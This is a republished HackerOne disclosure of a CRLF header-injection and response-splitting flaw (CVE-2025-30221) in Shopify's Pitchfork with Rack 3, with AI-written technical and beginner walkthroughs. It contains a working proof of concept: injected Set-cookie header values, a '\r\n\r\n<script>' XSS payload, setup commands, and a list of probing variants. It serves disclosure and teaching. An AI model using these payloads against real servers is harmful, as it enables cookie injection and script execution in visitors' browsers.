Skip to content
XSS Disclosed report Intermediate CVE-2025-30221

HTTP Response Header Injection in shopify/pitchfork + Rack 3

Pitchfork 0.10.0 with Rack 3 failed to sanitise newline characters in HTTP response header values, so a value containing a line break was written out as-is. An attacker who can influence a redirect destination or cookie value could inject extra headers and, with a blank line, spoof the response body and trigger XSS.

ooooooo_q Follow

Originally disclosed on HackerOne

Bounty$800 Low 3.6 View original
  • Triaged in 4 days
  • Fixed in 6 months
  • Paid in 10 days
  • Disclosed after 16 months

Summary by the program

HTTP response header injection in Pitchfork version 0.10.0 when used with Rack 3. The vulnerability stems from improper handling of header values containing newline characters \n in the append_header method of the HTTP response module. When Rack 3 was in use, newline characters in values were not properly sanitized and were displayed as-is in the output, enabling header injection. For more details, see the security advisory GHSA-pfqj-w6r6-g86v (CVE-2025-30221).

The report

I have confirmed HTTP response header injection and XSS in combination of pitchfork + Rack 3.

Here's where the problem is in the code.

https://github.com/Shopify/pitchfork/blob/v0.10.0/lib/pitchfork/http_response.rb#L23C1-L33C8

Ruby
    def append_header(buf, key, value)
      case value
      when Array # Rack 3
        value.each { |v| buf << "#{key}: #{v}\r\n" }
      when /\n/ # Rack 2
        # avoiding blank, key-only cookies with /\n+/
        value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
      else
        buf << "#{key}: #{value}\r\n"
      end
    end

When using Rack 3, \n contained in value will be displayed as is in the output.


PoC

❯ ruby -v
ruby 3.2.2 (2023-03-30 revision e51014f9c0) [arm64-darwin22]

❯ cat Gemfile
# frozen_string_literal: true

source "https://rubygems.org"

gem 'pitchfork', '~> 0.10.0'%

❯ bundle install
=> install rack (3.0.8)

nginx.conf

events {
    worker_connections  16;
}
http {
    server {
        listen 80;
        server_name localhost;

        location / {
            proxy_pass http://host.docker.internal:3000/;
            
            proxy_redirect off;
        }
    }
}

injection.ru

Ruby
class PitchForkHeaderInjection
  def call(env)
    params =  Rack::Request.new(env).params
    location = if params["mode"] == "rn"
                 ["a\r\nSet-cookie: injected=value"]
               elsif params["mode"] == "r"
                 ["b\rSet-cookie: injected_2=value2"]
               elsif params["mode"] == "n"
                 ["c\nSet-cookie: injected_3=value3"]
               elsif params["mode"] == "b"
                 ["d\r\n\r\n<script>alert(location)</script>"]
               else 
                  [""]
               end

    [ 200,
      {
       'content-type' => 'text/html',
        'location' => location
        },
      [""]
    ]
  end
end

run PitchForkHeaderInjection.new

Start server

❯ docker run --name pitchfork_header -v $(pwd)/nginx.conf:/etc/nginx/nginx.conf:ro -d -p 8080:80 nginx 

❯ RACK_ENV=production bundle exec pitchfork -p 3000 injection.ru
# If RACK_ENV=production is not present, an error will occur due to Rack::Lint.

Access from browser

http://localhost:8080/?mode=rn

mode_rn.png
mode_rn.png From the original on HackerOne

http://localhost:8080/?mode=r

mode_r.png
mode_r.png From the original on HackerOne

http://localhost:8080/?mode=n

mode_n.png
mode_n.png From the original on HackerOne

Cookie status

injected_cookie.png
injected_cookie.png From the original on HackerOne

Header injection succeeds in case of r\n and \n. If only \r, nginx will prevent it.

http://localhost:8080/?mode=b

mode_b.png
mode_b.png From the original on HackerOne

Since r\n can be inserted, the response body can also be spoofed and XSS will be fired.

Impact

If attacker can manipulate the redirect destination or cookie value, HTTP response header injection and XSS is possible. (Past cases https://hackerone.com/reports/904059#activity-8945588 )

In the case of Rack 2, the value of \n is not included, and nginx prevents \r, so it is not treated as a vulnerability. (Discussion on Unicorn https://yhbt.net/unicorn-public/20210226111552.GA22901@dcvr/T/#t )

The original report as published on HackerOne, by ooooooo_q. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Pitchfork is a Shopify Ruby application server, a fork of Unicorn. The report concerns version 0.10.0 of the pitchfork gem and its interaction with Rack 3. The affected code is the HTTP response module, specifically the append_header method, which serialises response headers into the output buffer. When Rack 3 is in use, header values are passed as arrays, and the method writes each element straight into the buffer without checking for newline characters. That is the behaviour the researcher set out to abuse.

The program's own summary describes the issue as HTTP response header injection in Pitchfork 0.10.0 when used with Rack 3, caused by improper handling of header values containing newline characters \n in append_header. It was assigned CVE-2025-30221 and published as advisory GHSA-pfqj-w6r6-g86v. The report demonstrates both header injection and XSS, and documents which newline forms survive the front-end proxy and which do not.

Setup

The researcher worked on macOS with Ruby 3.2.2:

Text
❯ ruby -v
ruby 3.2.2 (2023-03-30 revision e51014f9c0) [arm64-darwin22]

The Gemfile pins Pitchfork to the 0.10.0 series:

Ruby
# frozen_string_literal: true

source "https://rubygems.org"

gem 'pitchfork', '~> 0.10.0'%

Running bundle install resolved Rack 3.0.8, which is the precondition for the bug:

Text
❯ bundle install
=> install rack (3.0.8)

The test stack has three parts: a Pitchfork server on port 3000 running a small Rack application, an nginx container on port 8080 acting as a reverse proxy in front of it, and a browser hitting nginx. The nginx configuration is minimal:

Text
events {
    worker_connections  16;
}
http {
    server {
        listen 80;
        server_name localhost;

        location / {
            proxy_pass http://host.[redacted]:3000/;

            proxy_redirect off;
        }
    }
}

The application under test is a single Rack endpoint that reads a mode parameter and builds a location header value from it:

Ruby
class PitchForkHeaderInjection
  def call(env)
    params =  Rack::Request.new(env).params
    location = if params["mode"] == "rn"
                 ["a\r\nSet-cookie: injected=value"]
               elsif params["mode"] == "r"
                 ["b\rSet-cookie: injected_2=value2"]
               elsif params["mode"] == "n"
                 ["c\nSet-cookie: injected_3=value3"]
               elsif params["mode"] == "b"
                 ["d\r\n\r\n<script>alert(location)</script>"]
               else
                  [""]
               end

    [ 200,
      {
       'content-type' => 'text/html',
        'location' => location
        },
      [""]
    ]
  end
end

run PitchForkHeaderInjection.new

The location value is always an array, which is how Rack 3 represents multi-value headers. Each branch embeds a different control character sequence: \r\n for rn, a bare \r for r, a bare \n for n, and \r\n\r\n followed by a script tag for b. The response body is empty in every case.

The server is started in two steps, nginx first and Pitchfork second:

Text
❯ docker run --name pitchfork_header -v $(pwd)/nginx.conf:/etc/nginx/nginx.conf:ro -d -p 8080:80 nginx

❯ RACK_ENV=production bundle exec pitchfork -p 3000 injection.ru
# If RACK_ENV=production is not present, an error will occur due to Rack::Lint.

The RACK_ENV=production note matters: without it, an error occurs due to Rack::Lint, so the demonstration depends on running in production mode.

Finding it

The researcher points at a specific block in lib/pitchfork/http_response.rb (lines 23 to 33 of the v0.10.0 tag):

Ruby
    def append_header(buf, key, value)
      case value
      when Array # Rack 3
        value.each { |v| buf << "#{key}: #{v}\r\n" }
      when /\n/ # Rack 2
        # avoiding blank, key-only cookies with /\n+/
        value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
      else
        buf << "#{key}: #{value}\r\n"
      end
    end

The method has three branches. The Array branch is the Rack 3 path: it iterates over the values and writes each one verbatim between the key and the terminating \r\n. The when /\n/ branch is the Rack 2 path, and it splits the value on runs of newlines before writing each fragment, which strips the newline characters from the output. The else branch writes a plain scalar value.

The asymmetry is the finding. Under Rack 2, a value containing \n is normalised by the split, so the newline never reaches the response. Under Rack 3, values arrive as an array and the Array branch performs no equivalent sanitisation, so a \n inside a value is written to the output as-is. The researcher's conclusion is stated directly: when using Rack 3, \n contained in a value is displayed as is in the output.

Exploitation

Step 1: \r\n in a header value

Request:

The application returns a location header whose value is a\r\nSet-cookie: injected=value. Because the value is an array element and the Rack 3 branch does not sanitise it, the CRLF terminates the location header early and the remainder is parsed by the client as a new header.

mode_rn.png
mode_rn.png From the original on HackerOne

The screenshot shows the result for ?mode=rn.

Step 2: bare \r

Request:

Here the value is b\rSet-cookie: injected_2=value2, using a carriage return without a following line feed.

mode_r.png
mode_r.png From the original on HackerOne

The screenshot shows the result for ?mode=r. According to the researcher, nginx blocks this case: a lone \r is prevented by the proxy, so the injection does not succeed.

Step 3: bare \n

Request:

The value is c\nSet-cookie: injected_3=value3, a line feed with no carriage return.

mode_n.png
mode_n.png From the original on HackerOne

The screenshot shows the result for ?mode=n. This case succeeds.

Step 4: checking the cookies

injected_cookie.png
injected_cookie.png From the original on HackerOne

The screenshot shows the cookie status.

The researcher's summary of these three cases: header injection succeeds for \r\n and for \n, while a bare \r is stopped by nginx.

Step 5: response body spoofing and XSS

Request:

The value is d\r\n\r\n<script>alert(location)</script>. The first \r\n ends the location header, and the second \r\n ends the header block entirely. Everything after that is treated by the client as the start of the response body.

mode_b.png
mode_b.png From the original on HackerOne

The screenshot shows the result for ?mode=b. Because \r\n can be inserted, the response body can be spoofed and XSS fires.

Root cause

The defect is in append_header. The Rack 2 branch splits values on \n+ before writing them, which removes newline characters from the output. The Rack 3 branch, taken when the value is an Array, writes each element with buf << "#{key}: #{v}\r\n" and performs no such check. Any \n or \r\n inside an array element therefore reaches the response verbatim and is interpreted by the client as a header or header-block terminator.

The PoC has to run with RACK_ENV=production; without it, an error occurs due to Rack::Lint. The front-end proxy provides partial protection only: nginx blocks a bare \r, but it passes \n and \r\n through. The researcher notes that under Rack 2 the \n value is not included in the output and nginx prevents \r, so the same application is not treated as vulnerable on that stack.

Impact

As the researcher puts it, if an attacker can manipulate the redirect destination or a cookie value, HTTP response header injection and XSS are possible. The location header is the vehicle in the PoC, but the report frames the precondition more broadly as control over a header value that ends up in the response. The XSS path requires the ability to inject \r\n\r\n so that the header block is terminated and attacker-controlled content becomes the body.

The severity recorded for the report is low, with a CVSS score of 3.6, and the bounty was 800.00 USD. The report was disclosed on 2025-03-27.

Fix

The program's summary states that newline characters in values were not properly sanitised under Rack 3 and were displayed as-is, enabling header injection, and points to advisory GHSA-pfqj-w6r6-g86v (CVE-2025-30221) for the details. The report itself does not describe the patch.

Variants to test

  1. Send \r\n inside a header value and look for a second header appearing in the response. A positive result is an injected Set-cookie or any other header the application did not set.
  2. Send a bare \n inside a header value. A positive result is the same injected header, which also tells you the front-end proxy does not strip lone line feeds.
  3. Send a bare \r inside a header value. A positive result is an injected header; a negative result here, as with nginx in this report, does not mean the other two forms are blocked.
  4. Send \r\n\r\n followed by HTML or script in a header value. A positive result is the injected markup rendering as the response body, which confirms full response splitting rather than header injection alone.
  5. Repeat the same payloads with Rack 2 in place of Rack 3. A positive result would contradict this report, which found the Rack 2 branch strips \n.
  6. Run the application without RACK_ENV=production to see whether Rack::Lint rejects the values; if it does, the production path is the one that matters.

Hunting notes

This bug lives in the boundary between a framework's header serialisation and the Rack version it is running against. The signal during recon is a Ruby application server or gem that has separate code paths for Rack 2 and Rack 3, especially where one path splits on newlines and the other iterates over an array. Reading the append_header-style method is enough to spot the asymmetry.

The second signal is the front-end proxy. The report shows that nginx blocks a bare \r but allows \n and \r\n, so a payload that fails with one newline form should be retried with the others before concluding the target is safe.

The researcher showed impact by going past header injection to full response splitting: the ?mode=b case terminates the header block and executes script.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher found a bug in a piece of software called Pitchfork, made by Shopify. Pitchfork is a web server program written in the Ruby programming language. When a website uses Pitchfork together with another Ruby library called Rack (version 3), the server can be tricked into adding extra lines to the instructions it sends back to a visitor's browser. Those extra lines can set cookies the site never meant to set, and in the demonstrated case can inject a script that runs in the visitor's browser.

This kind of bug is called HTTP response header injection. To understand it, you need to know a little about how a web page reaches your browser. When you type an address or click a link, your browser sends a request to a server. The server replies with a response. That response has two parts: a set of headers (small labelled lines of metadata, like "this is the type of content" or "here is a cookie") and a body (the actual page content). Headers and body are separated by a blank line. If an attacker can sneak extra line breaks into a header value, they can make the server send headers, or even a body, that the site never intended. That is the essence of this report.

The researcher also showed that the same trick can go one step further and inject a script into the page, which is called XSS (cross-site scripting). XSS means an attacker gets their own JavaScript to run inside another person's browser session on a website, as if the site itself had served it.

The program's own summary describes the issue as HTTP response header injection in Pitchfork version 0.10.0 when used with Rack 3. The cause is improper handling of header values containing newline characters \n in the append_header method of the HTTP response module. When Rack 3 was in use, newline characters in values were not properly sanitised and were displayed as-is in the output, which enabled header injection. The issue was published as security advisory GHSA-pfqj-w6r6-g86v and assigned CVE-2025-30221. A CVE is a public catalogue number for a known vulnerability, so people can look it up.

The report

The researcher states plainly: they confirmed HTTP response header injection and XSS in a combination of Pitchfork and Rack 3. They then point at the exact place in the code where the problem lives.

Ruby
    def append_header(buf, key, value)
      case value
      when Array # Rack 3
        value.each { |v| buf << "#{key}: #{v}\r\n" }
      when /\n/ # Rack 2
        # avoiding blank, key-only cookies with /\n+/
        value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" }
      else
        buf << "#{key}: #{value}\r\n"
      end
    end

This is a small Ruby method called append_header. Its job is to take one header (a name, called key, and a value) and write it into the outgoing response, which is held in a buffer called buf. Think of the buffer as a sheet of paper the server is filling in before posting it to the browser. Each header is written as name: value followed by a special pair of invisible characters, \r\n, which means "end of this line".

Line by line:

  • def append_header(buf, key, value) declares the method and its three inputs: the buffer, the header name and the header value.
  • case value starts a decision: the code will behave differently depending on what kind of value it received.
  • when Array # Rack 3 is the branch taken when the value is an array, which is a list of items. Rack 3 passes header values as lists, even when there is only one item. The comment # Rack 3 tells you this is the Rack 3 path.
  • value.each { |v| buf << "#{key}: #{v}\r\n" } goes through every item in the list and writes it straight into the buffer, between the header name and the line-ending characters. There is no check on what is inside the item.
  • when /\n/ # Rack 2 is the branch taken when the value is a piece of text that contains a newline character (\n). The comment marks it as the Rack 2 path.
  • value.split(/\n+/).each { |v| buf << "#{key}: #{v}\r\n" } first cuts the text apart wherever there are one or more newlines, then writes each piece as its own header line. Because the newlines are used as cutting points, they never end up in the output.
  • else covers any other kind of value.
  • buf << "#{key}: #{value}\r\n" writes it as a single header line.
  • end closes the decision, and the final end closes the method.

The important contrast is between the two branches. Under Rack 2, a newline inside a value is removed by the splitting step, so it cannot escape into the response. Under Rack 3, the value arrives as a list and the code writes each item exactly as given, with no equivalent cleaning. The researcher's conclusion is direct: when using Rack 3, \n contained in a value will be displayed as is in the output.

PoC

A PoC (proof of concept) is a small, self-contained demonstration that proves a bug is real. The researcher built one with three moving parts: a Pitchfork server running a tiny test application, an nginx server in front of it, and a browser. nginx is a widely used web server that is often placed in front of application servers as a reverse proxy, meaning it receives visitors' requests first and passes them on to the application behind it. Testing through a proxy matters because many real sites are set up that way, and the proxy may block some payloads.

The researcher's machine ran Ruby 3.2.2:

Text
❯ ruby -v
ruby 3.2.2 (2023-03-30 revision e51014f9c0) [arm64-darwin22]

ruby -v asks Ruby to print its version. This tells the reader which Ruby the demonstration was run on, so anyone repeating it can match the setup.

Next, a Gemfile, which is a shopping list of Ruby libraries (called gems) that a project needs:

Ruby
# frozen_string_literal: true

source "https://rubygems.org"

gem 'pitchfork', '~> 0.10.0'%
  • # frozen_string_literal: true is a Ruby setting that makes text values immutable, a common convention.
  • source "https://rubygems.org" says where to download gems from. RubyGems is the public library of Ruby packages.
  • gem 'pitchfork', '~> 0.10.0' asks for Pitchfork in the 0.10.x series, which is the version under test.

Installing the gems pulled in Rack 3.0.8, which is the exact condition that triggers the bug:

Text
❯ bundle install
=> install rack (3.0.8)

bundle install is the command that reads the Gemfile and installs everything listed, plus anything those gems depend on. The output line confirms Rack 3.0.8 was installed. Without Rack 3, the vulnerable code path would not be used.

The nginx configuration is deliberately small:

Text
events {
    worker_connections  16;
}
http {
    server {
        listen 80;
        server_name localhost;

        location / {
            proxy_pass http://host.[redacted]:3000/;

            proxy_redirect off;
        }
    }
}
  • events { worker_connections 16; } sets a small limit on simultaneous connections, which is plenty for a test.
  • http { server { ... } } opens the web server configuration.
  • listen 80; makes nginx listen on port 80, the default web port.
  • server_name localhost; says this server answers to the name localhost, meaning this same computer.
  • location / { ... } applies the following rules to every path.
  • proxy_pass http://host.[redacted]:3000/; forwards each request to port 3000, where the Pitchfork application is running. host.[redacted] is a special name that lets a container reach the host machine.
  • proxy_redirect off; stops nginx from rewriting redirect headers, so whatever the application sends is passed through untouched. That is important here, because the whole test is about what the application puts in a header.

The test application is a single Ruby file that reads a mode parameter from the address and builds a location header from it:

Ruby
class PitchForkHeaderInjection
  def call(env)
    params =  Rack::Request.new(env).params
    location = if params["mode"] == "rn"
                 ["a\r\nSet-cookie: injected=value"]
               elsif params["mode"] == "r"
                 ["b\rSet-cookie: injected_2=value2"]
               elsif params["mode"] == "n"
                 ["c\nSet-cookie: injected_3=value3"]
               elsif params["mode"] == "b"
                 ["d\r\n\r\n<script>alert(location)</script>"]
               else
                  [""]
               end

    [ 200,
      {
       'content-type' => 'text/html',
        'location' => location
        },
      [""]
    ]
  end
end

run PitchForkHeaderInjection.new

Line by line:

  • class PitchForkHeaderInjection defines a class, which is a named bundle of code.
  • def call(env) defines the method that a Rack application must provide. Rack calls it for every incoming request, handing over env, a bundle of information about that request.
  • params = Rack::Request.new(env).params wraps the request in a Rack helper and extracts the parameters, the values sent in the address after a question mark. In a URL like /?mode=rn, the parameter mode has the value rn.
  • location = if params["mode"] == "rn" starts a chain of checks on the mode value.
  • ["a\r\nSet-cookie: injected=value"] is the value used when mode is rn: a list containing one string. The string starts with a, then \r\n (carriage return plus line feed, the standard line ending), then a Set-cookie header that the application never meant to send.
  • elsif params["mode"] == "r" checks for mode=r, and ["b\rSet-cookie: injected_2=value2"] uses a bare \r (carriage return alone) before the injected cookie.
  • elsif params["mode"] == "n" checks for mode=n, and ["c\nSet-cookie: injected_3=value3"] uses a bare \n (line feed alone).
  • elsif params["mode"] == "b" checks for mode=b, and ["d\r\n\r\n<script>alert(location)</script>"] uses two line endings in a row followed by a script tag. Two line endings in a row are what separates headers from the body, so this aims to start a body containing a script.
  • else [""] is the fallback: an empty value for any other mode.
  • [ 200, { 'content-type' => 'text/html', 'location' => location }, [""] ] is the response: status code 200 (meaning OK), a set of headers where content-type says the content is HTML and location carries the crafted value, and an empty body.

The location value is always a list, because that is how Rack 3 represents header values. Each branch embeds a different invisible control character sequence, and the response body is empty in every case, so anything extra that appears must have come from the header value.

Starting the servers takes two commands:

Text
❯ docker run --name pitchfork_header -v $(pwd)/nginx.conf:/etc/nginx/nginx.conf:ro -d -p 8080:80 nginx

❯ RACK_ENV=production bundle exec pitchfork -p 3000 injection.ru
# If RACK_ENV=production is not present, an error will occur due to Rack::Lint.
  • docker run starts a container, a packaged, isolated copy of a program. Docker is the tool that runs containers.
  • --name pitchfork_header gives the container a name.
  • -v $(pwd)/nginx.conf:/etc/nginx/nginx.conf:ro mounts the local nginx configuration file into the container so nginx uses it. :ro means read-only.
  • -d runs the container in the background.
  • -p 8080:80 connects port 8080 on the researcher's machine to port 80 inside the container, so the browser can reach nginx at localhost:8080.
  • nginx is the image to run.
  • RACK_ENV=production bundle exec pitchfork -p 3000 injection.ru starts Pitchfork on port 3000 using the test application file. RACK_ENV=production tells Rack the server is running in production mode.
  • The comment explains why: without RACK_ENV=production, an error occurs because of Rack::Lint. Rack::Lint is a strict checker built into Rack that inspects requests and responses and rejects anything malformed. Without RACK_ENV=production, an error occurs because of Rack::Lint, so the demonstration runs in production mode.

Access from browser

The researcher then visited each mode in the browser, starting with rn:

http://localhost:8080/?mode=rn

mode_rn.png
mode_rn.png From the original on HackerOne

The screenshot shows the result for ?mode=rn.

Next, a bare carriage return:

http://localhost:8080/?mode=r

mode_r.png
mode_r.png From the original on HackerOne

The screenshot shows the result for ?mode=r. According to the researcher, nginx blocks this case: a lone \r is prevented by the proxy, so the injection does not succeed.

Then a bare line feed:

http://localhost:8080/?mode=n

mode_n.png
mode_n.png From the original on HackerOne

The screenshot shows the result for ?mode=n. This case succeeds.

To confirm the cookies were actually stored, the researcher checked the browser's cookie state:

Cookie status

injected_cookie.png
injected_cookie.png From the original on HackerOne

The screenshot shows the cookie status. A cookie is a small piece of data a site asks the browser to store and send back on later requests, commonly used to remember who you are. If an attacker can set a cookie on a site, they may be able to influence how the site treats that visitor.

The researcher's summary of these three cases: header injection succeeds for \r\n and for \n, while a bare \r is stopped by nginx.

Finally, the response body spoofing case:

http://localhost:8080/?mode=b

mode_b.png
mode_b.png From the original on HackerOne

The screenshot shows the result for ?mode=b. The value here is d\r\n\r\n<script>alert(location)</script>. The first \r\n ends the location header, and the second \r\n ends the header block entirely. Everything after that is treated by the browser as the start of the response body, so the script tag becomes part of the page and runs. alert(location) is a simple JavaScript instruction that pops up a box showing the current address, a harmless way to prove code is running. Because \r\n can be inserted, the response body can be spoofed and XSS fires.

Impact

As the researcher puts it, if an attacker can manipulate the redirect destination or a cookie value, HTTP response header injection and XSS are possible. A redirect destination is the address a site sends your browser to, usually carried in a location header. If an attacker can manipulate the redirect destination or a cookie value, they may be able to add their own headers. The XSS path needs the ability to inject \r\n\r\n, so the header block is terminated and attacker-controlled content becomes the body.

The researcher also notes that under Rack 2 the \n value is not included in the output, and nginx prevents \r, so the same application is not treated as a vulnerability on that stack.

Glossary

  • API: a defined way for one piece of software to talk to another, like a menu of requests a program accepts.
  • Array: an ordered list of items in programming; Rack 3 uses arrays to hold header values.
  • Body: the main content of an HTTP response, such as the HTML of a page, as opposed to its headers.
  • Buffer: a temporary holding area in memory where output is assembled before being sent.
  • Container: a packaged, isolated runtime for a program, created and run by Docker.
  • Cookie: a small piece of data a website asks the browser to store and send back on later requests.
  • CRLF: carriage return plus line feed (\r\n), the standard pair of invisible characters that marks the end of a line in HTTP.
  • CVE: a public catalogue number assigned to a known vulnerability so people can look it up.
  • CVSS: a scoring system that rates the severity of a vulnerability.
  • Docker: a tool for building and running containers.
  • Gem: a packaged Ruby library that projects can install and use.
  • Gemfile: a file listing the Ruby gems a project needs.
  • Header: a labelled line of metadata in an HTTP request or response, such as content-type or location.
  • Header injection: tricking a server into adding extra headers to a response by smuggling line breaks into a header value.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • JavaScript: the programming language browsers run to make pages interactive.
  • nginx: a widely used web server, often placed in front of application servers as a reverse proxy.
  • Parameter: a value sent in a URL after a question mark, such as mode=rn in /?mode=rn.
  • Pitchfork: a Ruby application server made by Shopify, a fork of Unicorn.
  • PoC (proof of concept): a small demonstration that proves a bug is real.
  • Proxy (reverse proxy): a server that receives visitors' requests first and passes them to the application behind it.
  • Rack: a Ruby library that defines how Ruby web applications receive requests and send responses.
  • Rack::Lint: a strict checker in Rack that rejects malformed requests and responses.
  • Response splitting: a stronger form of header injection where the attacker ends the header block and writes their own body.
  • Reverse proxy: see proxy.
  • Ruby: the programming language Pitchfork and Rack are written in.
  • Sanitise: to clean input by removing or neutralising dangerous characters.
  • Set-cookie: the response header a server uses to ask the browser to store a cookie.
  • Unicorn: a Ruby application server that Pitchfork is forked from.
  • XSS (cross-site scripting): getting attacker-supplied JavaScript to run in another person's browser on a website.

More by ooooooo_q

View all

53 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.